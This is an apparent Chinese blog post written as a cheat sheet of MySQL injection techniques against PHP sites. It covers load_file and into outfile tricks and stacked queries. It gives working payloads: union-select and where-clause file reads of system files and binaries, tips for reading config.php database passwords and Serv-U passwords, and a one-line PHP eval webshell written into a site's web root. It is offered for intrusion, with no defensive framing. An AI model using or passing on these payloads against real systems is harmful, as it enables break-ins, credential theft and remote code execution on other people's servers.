php/mysql load_file/outfile与多语句注入入侵总结

1.outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。

唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

2.load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。

一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

3..load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。

4.load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

5.load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

6.outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

或者从表中

select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

7.关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。

有的注入可以,主要看php中是否设定:$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, 0);   属性

发表评论

电子邮件地址不会被公开。 必填项已用*标注